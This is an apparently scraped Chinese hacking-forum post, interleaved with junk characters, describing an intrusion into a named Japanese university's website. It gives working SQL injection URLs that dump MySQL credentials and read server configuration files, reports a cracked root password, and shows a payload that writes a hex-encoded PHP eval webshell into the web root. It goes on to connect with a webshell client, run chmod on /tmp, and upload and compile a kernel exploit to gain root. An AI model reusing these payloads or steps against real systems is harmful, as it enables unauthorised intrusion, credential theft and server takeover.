入侵日本同志社大学技术分析
4 g* J# S% L# p$ k
, S" j& B% O3 U3 T. k- L" Lhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
! l' ]6 U% l4 w1 S然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
: m# F, e ]2 N9 ~0 c- {1 m" s0 n/ y- \8 T( x) {9 y
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
( Q# K* R+ B+ N# K4 i3 w4 g
) h- t5 n8 Y8 R
% [2 O, g- d4 _5 b" ^, L! t4 E3 K9 q0 F; `! N) Q3 H
//@@datadir为数据库文件路径
/ e# y2 R1 I5 M& b& q3 N d3 _
4 z, Z7 t. P/ o. G$ R# @' U+ h3 G( a! ^" l% L1 N$ f
//load_file读取网站容器apache的配置文件
0 s4 x' W% B5 L3 s* h* P 0 |& H! R: R+ A2 b# }7 h8 b0 S
4 r5 T8 O* g/ s) O2 C
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 8 c" ?2 ^' ?# Q, Y3 \
复制代码+ U/ c3 i) e* Z5 p8 s/ Y
: N. ^; l, C( ~% z/ P; q虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
8 x d5 p1 ]! c4 W5 g& V- G6 F- }& x7 L6 q; Q9 }2 z
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
# S* w, M/ ?7 ~/ K5 q7 e# {, c0 k(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)8 u4 h5 v5 u5 S- C& }
- B. Z* r& b0 e/ b8 ?前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。- Z* C/ ?4 u/ S; A4 e. _+ {
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html8 F4 R. z2 ^/ Z- {1 }
& h: U _( p- b( V既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/! a7 r' n4 r1 Y/ u: R/ j! V
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
- |: L$ ~6 `2 C. [, Y; x直接写一句话:, g( J! K' A0 t. _$ U6 d0 L
# u1 L6 i/ T8 G% ]http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#: n0 _& {% `' j1 F+ d" n
# I1 h% y- V( j8 ^$ n# O/ t 0 ?% N, R" o# Z- b- I
* a5 {; N- h. a \- k% }4 N' X//最后的#是为了闭合前面的语句
5 f' p1 M k) |( C- s* x/ \9 I9 A 0 G ^6 h: X5 O8 A; D* J
0 _) _$ v7 {4 b+ x# ]1 S1 \! z
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 0 m$ B4 d1 l p ~# \2 ]
; D! G. h3 M1 Z0 b: t' @4 N: q
2 _6 X+ R( P9 Z: `' h为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ / w: m* V6 c1 x0 A+ T
, Q7 }8 ^5 ?0 \8 K7 M1 T8 \
5 b S, M! i) X _//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
4 f" H, p" ~+ K4 p+ T' S i/ ]6 Y& r' Z
) D/ r3 f/ h' U+ r7 N
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 " X. b R8 y) W3 v) W$ b
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
; X5 q4 y& g: W* L7 W复制代码5 J5 z. s0 v- p7 q; H% [
# T2 E6 r+ i6 b) r+ {HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
+ i' \9 c8 k# ^, F2 |; _通过上述注入语句,我们就得到了一句话木马:
. b8 {4 d i# @6 L
- x+ _, T& U7 K. A" V
; S6 U( K1 t6 b8 }; S3 N" w' G& U p+ U9 \$ W
8 \! i8 Z$ d' f( P& i3 P
8 A/ V) [- |+ W: R# e ^! b5 |http://www.doshisha.ac.jp/english/engnews_img/aa.php 6 x2 O j( b! o4 i3 f. s# n
复制代码7 x, A7 S+ p9 x
( m* H& v' C' {$ V- {
用菜刀连接,密码是cmd,如图所示:+ Z3 x s; u5 v2 }4 w
然后在命令提示行里看了一下,现在的权限是:2 {& F' k4 x" C2 s7 ]
1 \* h, P4 c5 `0 {之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。3 \" d! b9 X" v! [; ?
好在赋权给这个文件夹不需要root,直接执行赋权语句:; t/ ?6 @! N2 y2 C
% C( l+ l6 E8 d; }5 g
5 |6 k& H t+ N9 |0 Z7 O8 r" f6 h2 m- ?* w( Q7 A2 w# t
; u! I2 g0 D' Z) }# s; S
c9 y1 I3 G3 t) \4 W$ F ?/ `3 @8 Schmod +x /tmp/
9 Q9 @% @* L7 t8 Y复制代码
$ d7 k& n" M& ^5 p( F: |' D0 q% z5 x& K- f* Y6 \5 b3 @
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行+ s% b' w+ \5 F) I' d) Z/ D, n- {
然后就查了一下内核版本:4 O; \: d W2 s) X- ^/ z* J
, a' O7 s# V% R7 @" _. } 0 z" y6 u# N8 s+ r/ z
' R+ f+ O3 R' t: M% V
' H$ s- ]0 ?& u, J; K2 C
) U+ w/ P* o8 l2 ~0 n2 R2 d" [! Huname-a
! p# ^- @6 B) F
3 p: ]: P7 k0 _0 `: R& M5 z4 y
% a! t: y5 \/ _' J//其实lsb_release -a : u. R& T& z, M* I7 Y9 p
复制代码/ `& O5 S! f" n, Q5 f8 A- x* S
% A! X$ b2 d; p) }' S9 {如图所示:, b) _) ^& q2 y7 J& U+ O
7 o+ j/ ]3 }) j \- ?3 V6 S3 l# x内核版本:linux mainz1 2.6.28-194.e15
8 W0 g* Z! M% Q# p6 |系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
0 { Z# N9 ^- H0 i5 [: E查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹7 u+ d& T! ]5 p/ T W
1 L3 D5 @+ }' r* P9 D$ y8 v0 I+ v
然后给予执行权限, r) N# J* }/ ?
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样5 {2 O) ?* z2 k+ X& `5 Z, y
& Q( K% |" G$ _% y0 z/ a ! i$ Z! C1 j7 s1 m8 U" W) {
/ {8 H( M( ]+ V, J
8 `# l6 p! n8 \* D& [
1 X0 i/ r N/ ^* Schmod +x /tmp/2.6.18-194 ( g( b1 N% l: y
复制代码 然后直接执行!~' P8 O- M( |9 g, q9 g: a
- p6 U1 }+ b& e6 Z0 Y1 q* o
总结:: R) m& E0 u [% P
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
' e8 A7 H* s) T( \3 u5 R提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
) Z" ^! ~7 l& d8 v! @, I1 b
8 |' p2 U/ P% K+ w0 B1 C |